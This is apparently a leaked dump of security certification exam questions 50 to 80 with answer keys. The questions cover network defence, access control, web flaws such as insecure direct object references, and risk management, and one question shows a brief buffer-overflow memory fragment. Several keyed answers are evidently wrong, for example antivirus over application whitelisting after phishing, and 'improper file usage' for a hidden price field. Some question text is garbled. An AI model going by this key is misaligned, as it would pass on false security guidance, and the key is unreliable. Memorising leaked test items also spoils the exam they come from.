- B. NFC
- C. GPS
- D. Biometric
- E. USB 4.1
- F. MicroSD

**Correct Answer:** CD

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 50**

Following a merger, the number of remote sites for a company has doubled to 52. The company has decided to secure each remote site with an NGFW to provide

web filtering, NIDS/NIPS, and network antivirus. The Chief Information Officer (CIO) has requested that the security engineer provide recommendations on sizing for the firewall with the requirements that it be easy to manage and provide capacity for growth.

The tables below provide information on a subset of remote sites and the firewall options:

Location	# of Users	Connectivity	Bandwidth Utilization
St.Louis	18	50 Mbps	20 Mbps
Des Moines	12	25 Mbps	19 Mbps
Chicago	27	100 Mbps	41 Mbps
Rapid City	6	10 Mbps	8 Mbps
Indianapolis	7	12 Mbps	8 Mbps

Vendor	Maximum Recommended Devices	Firewall Throughput	Full UTM?	Centralized Management Available?
A	40	150 Mbps	Y	Y
B	60	400 Mbps	N	Y
C	25	200 Mbps	N	N
D	25	100 Mbps	Y	Y

Which of the following would be the BEST option to recommend to the CIO?

- A. Vendor C for small remote sites, and Vendor B for large sites.
- B. Vendor B for all remote sites
- C. Vendor C for all remote sites
- D. Vendor A for all remote sites
- E. Vendor D for all remote sites

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**



**QUESTION 51**

A government organization operates and maintains several ICS environments. The categorization of one of the ICS environments led to a moderate baseline. The organization has complied a set of applicable security controls based on this categorization.

Given that this is a unique environment, which of the following should the organization do NEXT to determine if other security controls should be considered?



- A. Check for any relevant or required overlays.
- B. Review enhancements within the current control set.
- C. Modify to a high-baseline set of controls.
- D. Perform continuous monitoring.

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 52**

An organization is considering the use of a thin client architecture as it moves to a cloud-hosted environment. A security analyst is asked to provide thoughts on the security advantages of using thin clients and virtual workstations.

Which of the following are security advantages of the use of this combination of thin clients and virtual workstations?

- A. Malicious insiders will not have the opportunity to tamper with data at rest and affect the integrity of the system.
- B. Thin client workstations require much less security because they lack storage and peripherals that can be easily compromised, and the virtual workstations are protected in the cloud where security is outsourced.
- C. All thin clients use TPM for core protection, and virtual workstations use vTPM for core protection with both equally ensuring a greater security advantage for a cloud-hosted environment.
- D. Malicious users will have reduced opportunities for data extractions from their physical thin client workstations, this reducing the effectiveness of local attacks.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### **QUESTION 53**

A security analyst is attempting to break into a client's secure network. The analyst was not given prior information about the client, except for a block of public IP addresses that are currently in use.

After network enumeration, the analyst's NEXT step is to perform:

- A. a gray-box penetration test
- B. a risk analysis
- C. a vulnerability assessment
- D. an external security audit
- E. a red team exercise

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### **QUESTION 54**

A security architect is determining the best solution for a new project. The project is developing a new intranet with advanced authentication capabilities, SSO for users, and automated provisioning to streamline Day 1 access to systems. The security architect has identified the following requirements:

1. Information should be sourced from the trusted master data source.
2. There must be future requirements for identity proofing of devices and users.
3. A generic identity connector that can be reused must be developed.
4. The current project scope is for internally hosted applications only.

Which of the following solution building blocks should the security architect use to BEST meet the requirements?

- A. LDAP, multifactor authentication, oAuth, XACML
- B. AD, certificate-based authentication, Kerberos, SPML

- C. SAML, context-aware authentication, OAuth, WAF
- D. NAC, radius, 802.1x, centralized active directory

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 55

A security engineer is performing an assessment again for a company. The security engineer examines the following output from the review:

Which of the following tools is the engineer utilizing to perform this assessment?

Password complexity	Disabled
Require authentication from a domain controller before sign in	Enabled
Allow guest user access	Enabled
Allow anonymous enumeration of groups	Disabled

- A. Vulnerability scanner
- B. SCAP scanner
- C. Port scanner
- D. Interception proxy

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 56

A newly hired security analyst has joined an established SOC team. Not long after going through corporate orientation, a new attack method on web-based applications was publicly revealed. The security analyst immediately brings this new information to the team lead, but the team lead is not concerned about it.

Which of the following is the MOST likely reason for the team lead's position?

- A. The organization has accepted the risks associated with web-based threats.

- B. The attack type does not meet the organization's threat model.
- C. Web-based applications are on isolated network segments.
- D. Corporate policy states that NIPS signatures must be updated every hour.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 57**

The Chief Information Officer (CISO) is concerned that certain systems administrators will privileged access may be reading other users' emails. Review of a tool's output shows the administrators have used web mail to log into other users' inboxes.

Which of the following tools would show this type of output?

- A. Log analysis tool
- B. Password cracker
- C. Command-line tool
- D. File integrity monitoring tool

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 58**

A company has gone through a round of phishing attacks. More than 200 users have had their workstation infected because they clicked on a link in an email. An incident analysis has determined an executable ran and compromised the administrator account on each workstation. Management is demanding the information security team prevent this from happening again.

Which of the following would BEST prevent this from happening again?

- A. Antivirus
- B. Patch management
- C. Log monitoring

- D. Application whitelisting
- E. Awareness training

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 59

An internal staff member logs into an ERP platform and clicks on a record. The browser URL changes to:

URL: `http://192.168.0.100/ERP/accountId=5&action=SELECT`

Which of the following is the MOST likely vulnerability in this ERP platform?

- A. Brute forcing of account credentials
- B. Plain-text credentials transmitted over the Internet
- C. Insecure direct object reference
- D. SQL injection of ERP back end

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 60

A penetration tester noticed special characters in a database table. The penetration tester configured the browser to use an HTTP interceptor to verify that the front-end user registration web form accepts invalid input in the user's age field. The developer was notified and asked to fix the issue.

Which of the following is the MOST secure solution for the developer to implement?

- A. IF \$AGE == "!@#%^&\*()\_+<>?":{}[]" THEN ERROR
- B. IF \$AGE == [1234567890] {1,3} THEN CONTINUE
- C. IF \$AGE != "a-zA-Z!@#%^&\*()\_+<>?":{}[]" THEN CONTINUE
- D. IF \$AGE == [1-0] {0,2} THEN CONTINUE

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 61**

At a meeting, the systems administrator states the security controls a company wishes to implement seem excessive, since all of the information on the company's web servers can be obtained publicly and is not proprietary in any way. The next day the company's website is defaced as part of an SQL injection attack, and the company receives press inquiries about the message the attackers displayed on the website.

Which of the following is the FIRST action the company should take?

- A. Refer to and follow procedures from the company's incident response plan.
- B. Call a press conference to explain that the company has been hacked.
- C. Establish chain of custody for all systems to which the systems administrator has access.
- D. Conduct a detailed forensic analysis of the compromised system.
- E. Inform the communications and marketing department of the attack details.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 62**

Click on the exhibit buttons to view the four messages.

**Message 1**

**Message 2**

**Message 3**

**Message 4**

**Message 1**

**Send**

To:

Cc:

Subject:

Security Escalation for ProjectX

I am escalating a security issue for ProjectX, which is an initiative to deliver exciting banking features to customers, with an initial release scheduled for next week.

The project had originally planned to implement storage-level encryption of customer details, but it is unable to deliver this security control in time for next week's launch. The impact will be minimized if the project agrees on a post-launch mitigation date for this security control, as well as implementing detective controls in the interim (i.e., additional staff performing log monitoring of all calls to the storage module).

Is leadership willing to accept this project risk or are additional details needed to be able to reach a decision?

**Message 2**

**Send**

To:

Cc:

Subject:

Security Vulnerability for ProjectX

It has come to my attention that ProjectX has a security vulnerability. The storage module does not encrypt sensitive customer details, and this could lead to a data breach, resulting in negative media attention.

My recommendation is to delay the launch until this security control is implemented. Do you concur?



**Message 3**

**Send**

To:

Cc:

Subject:

ALERT - Security Risks

ProjectX is not encrypting customer data!! This is probably a compliance issue. I really think the project should be put on hold until this critical vulnerability is fixed. The project team is not listening to me even though I told them they need to encrypt customer data. Can you please tell them this really needs to be fixed?

**Message 4**

<b>Send</b>	To:	
	Cc:	
	Subject:	Sensitive-Security

As you maybe aware, prijectX is our new flagship customer banking platform in development, and it is launching next week with an initial set of features. The features include customer banking details, which are going to be real game-changers compared to what our competition is doing; so, the release is obviousle an important and timely one.

However, the project team has been able to implement all of the security controls that were agreed upon. The one I am really concerned about is encryption of customer details in the storage module. We had several meetings and came to an agreement that this would be done with AES-256 in GCM mode and by rotating the encryption key every 30 days to limit the effect of a key and would probably take another week or two to implement and test. This would obviously delay the launch. Is leadership comfortable accepting any consequences that may occur due to lack of encryption?

A security architect is working with a project team to deliver an important service that stores and processes customer banking details. The project, internally known as ProjectX, is due to launch its first set of features publicly within a week, but the team has not been able to implement encryption-at-rest of the customer records. The security architect is drafting an escalation email to senior leadership.

Which of the following BEST conveys the business impact for senior leadership?

- A. Message 1
- B. Message 2
- C. Message 3
- D. Message 4

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 63**

As a result of an acquisition, a new development team is being integrated into the company. The development team has BYOD laptops with IDEs installed, build servers, and code repositories that utilize SaaS. To have the team up and running effectively, a separate Internet connection has been procured.

A stand up has identified the following additional requirements:

1. Reuse of the existing network infrastructure
2. Acceptable use policies to be enforced
3. Protection of sensitive files
4. Access to the corporate applications

Which of the following solution components should be deployed to BEST meet the requirements? (Select three.)

- A. IPSec VPN
- B. HIDS
- C. Wireless controller
- D. Rights management
- E. SSL VPN
- F. NAC
- G. WAF
- H. Load balancer

**Correct Answer:** DEF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 64**

A security architect is designing a system to satisfy user demand for reduced transaction time, increased security and message integrity, and improved cryptographic security. The resultant system will be used in an environment with a broad user base where many asynchronous transactions occur every minute and must be publicly verifiable.

Which of the following solutions BEST meets all of the architect's objectives?

- A. An internal key infrastructure that allows users to digitally sign transaction logs

- B. An agreement with an entropy-as-a-service provider to increase the amount of randomness in generated keys.
- C. A publicly verified hashing algorithm that allows revalidation of message integrity at a future date.
- D. An open distributed transaction ledger that requires proof of work to append entries.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 65**

A user asks a security practitioner for recommendations on securing a home network. The user recently purchased a connected home assistant and multiple IoT devices in an effort to automate the home. Some of the IoT devices are wearables, and other are installed in the user's automobiles. The current home network is configured as a single flat network behind an ISP-supplied router. The router has a single IP address, and the router performs NAT on incoming traffic to route it to individual devices.

Which of the following security controls would address the user's privacy concerns and provide the BEST level of security for the home network?

- A. Ensure all IoT devices are configured in a geofencing mode so the devices do not work when removed from the home network. Disable the home assistant unless actively using it, and segment the network so each IoT device has its own segment.
- B. Install a firewall capable of cryptographically separating network traffic require strong authentication to access all IoT devices, and restrict network access for the home assistant based on time-of-day restrictions.
- C. Segment the home network to separate network traffic from users and the IoT devices, ensure security settings on the home assistant support no or limited recording capability, and install firewall rules on the router to restrict traffic to the home assistant as much as possible.
- D. Change all default passwords on the IoT devices, disable Internet access for the IoT devices and the home assistant, obtain routable IP addresses for all devices, and implement IPv6 and IPSec protections on all network traffic.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 66**

The government is concerned with remote military missions being negatively being impacted by the use of technology that may fail to protect operational security. To remediate this concern, a number of solutions have been implemented, including the following:

- End-to-end encryption of all inbound and outbound communication, including personal email and chat sessions that allow soldiers to securely communicate with

families.

- Layer 7 inspection and TCP/UDP port restriction, including firewall rules to only allow TCP port 80 and 443 and approved applications
- A host-based whitelist of approved websites and applications that only allow mission-related tools and sites
- The use of satellite communication to include multiple proxy servers to scramble the source IP address

Which of the following is of MOST concern in this scenario?

- A. Malicious actors intercepting inbound and outbound communication to determine the scope of the mission
- B. Family members posting geotagged images on social media that were received via email from soldiers
- C. The effect of communication latency that may negatively impact real-time communication with mission control
- D. The use of centrally managed military network and computers by soldiers when communicating with external parties

**Correct Answer: A**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### **QUESTION 67**

Given the following code snippet:

```
<FORM ACTION="http://192.168.51.10/cgi-bin/order.pl" method="post">  
  
<input type="hidden" name="price" value="199.99">  
  
<input type="hidden" name="prd_id" value="X190">  
  
QUANTITY: <input type="text" name="quant" size=3 maxlength=3 value=1>  
  
</FORM>
```

Of which of the following is this snippet an example?

- A. Data execution prevention
- B. Buffer overflow
- C. Failure to use standard libraries
- D. Improper file usage

E. Input validation

**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

### **QUESTION 68**

After a large organization has completed the acquisition of a smaller company, the smaller company must implement new host-based security controls to connect its employees' devices to the network. Given that the network requires 802.1X EAP-PEAP to identify and authenticate devices, which of the following should the security administrator do to integrate the new employees' devices into the network securely?

- A. Distribute a NAC client and use the client to push the company's private key to all the new devices.
- B. Distribute the device connection policy and a unique public/private key pair to each new employee's device.
- C. Install a self-signed SSL certificate on the company's RADIUS server and distribute the certificate's public key to all new client devices.
- D. Install an 802.1X supplicant on all new devices and let each device generate a self-signed certificate to use for network access.

**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

### **QUESTION 69**

A forensic analyst suspects that a buffer overflow exists in a kernel module. The analyst executes the following command:

```
dd if=/dev/ram of=/tmp/mem/dmp
```

The analyst then reviews the associated output:

```
^34^#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/bash^21^03#45
```

However, the analyst is unable to find any evidence of the running shell.

Which of the following of the MOST likely reason the analyst cannot find a process ID for the shell?

- A. The NX bit is enabled
- B. The system uses ASLR
- C. The shell is obfuscated

D. The code uses dynamic libraries

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 70**

Ann, a terminated employee, left personal photos on a company-issued laptop and no longer has access to them. Ann emails her previous manager and asks to get her personal photos back.

Which of the following BEST describes how the manager should respond?

- A. Determine if the data still exists by inspecting to ascertain if the laptop has already been wiped and if the storage team has recent backups.
- B. Inform Ann that the laptop was for company data only and she should not have stored personal photos on a company asset.
- C. Report the email because it may have been a spoofed request coming from an attacker who is trying to exfiltrate data from the company laptop.
- D. Consult with the legal and/or human resources department and check company policies around employment and termination procedures.

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 71**

A company has decided to lower costs by conducting an internal assessment on specific devices and various internal and external subnets. The assessment will be done during regular office hours, but it must not affect any production servers.

Which of the following would MOST likely be used to complete the assessment? (Select two.)

- A. Agent-based vulnerability scan
- B. Black-box penetration testing
- C. Configuration review
- D. Social engineering
- E. Malware sandboxing
- F. Tabletop exercise

**Correct Answer:** AC

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 72**

A security engineer is attempting to convey the importance of including job rotation in a company's standard security policies. Which of the following would be the BEST justification?

- A. Making employees rotate through jobs ensures succession plans can be implemented and prevents single point of failure.
- B. Forcing different people to perform the same job minimizes the amount of time malicious actions go undetected by forcing malicious actors to attempt collusion between two or more people.
- C. Administrators and engineers who perform multiple job functions throughout the day benefit from being cross-trained in new job areas.
- D. It eliminates the need to share administrative account passwords because employees gain administrative rights as they rotate into a new job area.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 73**

A company is transitioning to a new VDI environment, and a system engineer is responsible for developing a sustainable security strategy for the VDIs.

Which of the following is the MOST appropriate order of steps to be taken?

- A. Firmware update, OS patching, HIDS, antivirus, baseline, monitoring agent
- B. OS patching, baseline, HIDS, antivirus, monitoring agent, firmware update
- C. Firmware update, OS patching, HIDS, antivirus, monitoring agent, baseline
- D. Baseline, antivirus, OS patching, monitoring agent, HIDS, firmware update

**Correct Answer:** A

**Section:** (none)

**Explanation**



**Explanation/Reference:**

**QUESTION 74**

The Chief Executive Officer (CEO) of a small startup company has an urgent need for a security policy and assessment to address governance, risk management, and compliance. The company has a resource-constrained IT department, but has no information security staff. The CEO has asked for this to be completed in three months.

Which of the following would be the MOST cost-effective solution to meet the company's needs?

- A. Select one of the IT personnel to obtain information security training, and then develop all necessary policies and documents in-house.
- B. Accept all risks associated with information security, and then bring up the issue again at next year's annual board meeting.
- C. Release an RFP to consultancy firms, and then select the most appropriate consultant who can fulfill the requirements.
- D. Hire an experienced, full-time information security team to run the startup company's information security department.

**Correct Answer: C**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 75**

A security engineer has been hired to design a device that will enable the exfiltration of data from within a well-defended network perimeter during an authorized test. The device must bypass all firewalls and NIDS in place, as well as allow for the upload of commands from a centralized command and control answer. The total cost of the device must be kept to a minimum in case the device is discovered during an assessment. Which of the following tools should the engineer load onto the device being designed?

- A. Custom firmware with rotating key generation
- B. Automatic MITM proxy
- C. TCP beacon broadcast software
- D. Reverse shell endpoint listener

**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 76**

An administrator is working with management to develop policies related to the use of the cloud-based resources that contain corporate data. Management plans to require some control over organizational data stored on personal devices, such as tablets. Which of the following controls would BEST support management's policy?

- A. MDM
- B. Sandboxing
- C. Mobile tokenization
- D. FDE
- E. MFA

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 77**

Users have been reporting unusual automated phone calls, including names and phone numbers, that appear to come from devices internal to the company. Which of the following should the systems administrator do to BEST address this problem?

- A. Add an ACL to the firewall to block VoIP.
- B. Change the settings on the phone system to use SIP-TLS.
- C. Have the phones download new configurations over TFTP.
- D. Enable QoS configuration on the phone VLAN.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 78**

A security analyst has been asked to create a list of external IT security concerns, which are applicable to the organization. The intent is to show the different types of external actors, their attack vectors, and the types of vulnerabilities that would cause business impact. The Chief Information Security Officer (CISO) will then present this list to the board to request funding for controls in areas that have insufficient coverage.

Which of the following exercise types should the analyst perform?

- A. Summarize the most recently disclosed vulnerabilities.
- B. Research industry best practices and latest RFCs.
- C. Undertake an external vulnerability scan and penetration test.
- D. Conduct a threat modeling exercise.

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 79**

In the past, the risk committee at Company A has shown an aversion to even minimal amounts of risk acceptance. A security engineer is preparing recommendations regarding the risk of a proposed introducing legacy ICS equipment. The project will introduce a minor vulnerability into the enterprise. This vulnerability does not significantly expose the enterprise to risk and would be expensive against.

Which of the following strategies should the engineer recommended be approved FIRST?

- A. Avoid
- B. Mitigate
- C. Transfer
- D. Accept

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 80**

A company has adopted and established a continuous-monitoring capability, which has proven to be effective in vulnerability management, diagnostics, and mitigation. The company wants to increase the likelihood that it is able to discover and therefore respond to emerging threats earlier in the life cycle.

Which of the following methodologies would BEST help the company to meet this objective? (Choose two.)

- A. Install and configure an IPS.
- B. Enforce routine GPO reviews.
- C. Form and deploy a hunt team.
- D. Institute heuristic anomaly detection.
- E. Use a protocol analyzer with appropriate connectors.

**Correct Answer:** AD

**Section:** (none)

**Explanation**

**Explanation/Reference:**



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